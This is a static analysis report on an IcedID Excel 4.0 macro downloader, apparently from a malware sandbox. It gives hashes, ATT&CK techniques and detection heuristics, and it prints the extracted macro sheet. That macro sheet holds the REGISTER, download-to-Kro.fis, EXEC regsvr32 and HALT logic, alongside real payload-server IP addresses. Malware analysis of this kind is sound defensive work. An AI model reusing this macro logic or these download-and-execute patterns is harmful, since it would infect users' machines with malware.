IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 6dcefe7589ec39d9…

MALICIOUS

Office (OOXML)

321.6 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-07-02
MD5: cfeab183a942eb04b8a7db4b99871351 SHA-1: c3aafd88bcbe3be7483c3eb45e2f8f7bc53e668e SHA-256: 6dcefe7589ec39d9a675da7d5551684fc34717abf24a21d6d92d934a53947fe9
290 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1218.010 System Binary Proxy Execution: Regsvr32 T1105 Ingress Tool Transfer

The sample is an Excel file containing Excel 4.0 macros, which is a strong indicator of malicious intent. The macros utilize dangerous functions like REGISTER and EXEC, and the document body contains references to 'regsvr32 ..\Kro.fis' along with several suspicious URLs. This indicates the macro is designed to download and execute a second-stage payload from one of the provided URLs using regsvr32. The ClamAV detection explicitly names this as IcedID.

Heuristics 7

  • ClamAV: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0
  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: REGISTER, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 2 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://5.253.62.174/ In macro / runtime command snippet
    • http://185.117.73.74/In macro / runtime command snippet
    • http://185.234.247.7/In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 2478 bytes
SHA-256: 6e245ed31875428d6507e5d6ab05fdc2f92088898aef295ba79df3d2dc1d7222
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{1F6988B8-EA22-44CB-B340-DE917F2EE874}"><dimension ref="F8:H25"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="10.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="10.5703125" style="2"/></cols><sheetData><row r="8" spans="6:8" x14ac:dyDescent="0.25"><c r="G8" s="2" t="str"><f>NOW()&amp;H8</f><v>44371,7021056713</v></c><c r="H8" s="2" t="s"><v>7</v></c></row><row r="12" spans="6:8" x14ac:dyDescent="0.25"><c r="G12" s="2" t="b"><f>REGISTER(Sheet2!O12,Sheet2!O13,Sheet2!O14,Sheet2!O15,,1,9)</f><v>0</v></c></row><row r="13" spans="6:8" x14ac:dyDescent="0.25"><c r="F13" s="2" t="s"><v>4</v></c><c r="G13" s="2" t="e"><f>Jerutyg(0,F13&amp;G8,"..\Kro.fis",0,0)</f><v>#NAME?</v></c></row><row r="14" spans="6:8" x14ac:dyDescent="0.25"><c r="F14" s="2" t="s"><v>5</v></c><c r="G14" s="2" t="e"><f>Jerutyg(0,F14&amp;G8,"..\Kro.fis1",0,0)</f><v>#NAME?</v></c></row><row r="15" spans="6:8" x14ac:dyDescent="0.25"><c r="F15" s="2" t="s"><v>6</v></c><c r="G15" s="2" t="e"><f>Jerutyg(0,F15&amp;G8,"..\Kro.fis2",0,0)</f><v>#NAME?</v></c></row><row r="18" spans="7:7" x14ac:dyDescent="0.25"><c r="G18" s="2" t="b"><f>EXEC(Sheet2!O22)</f><v>0</v></c></row><row r="19" spans="7:7" x14ac:dyDescent="0.25"><c r="G19" s="2" t="b"><f>EXEC(Sheet2!O22&amp;"1")</f><v>0</v></c></row><row r="20" spans="7:7" x14ac:dyDescent="0.25"><c r="G20" s="2" t="b"><f>EXEC(Sheet2!O22&amp;"2")</f><v>0</v></c></row><row r="25" spans="7:7" x14ac:dyDescent="0.25"><c r="G25" s="2" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>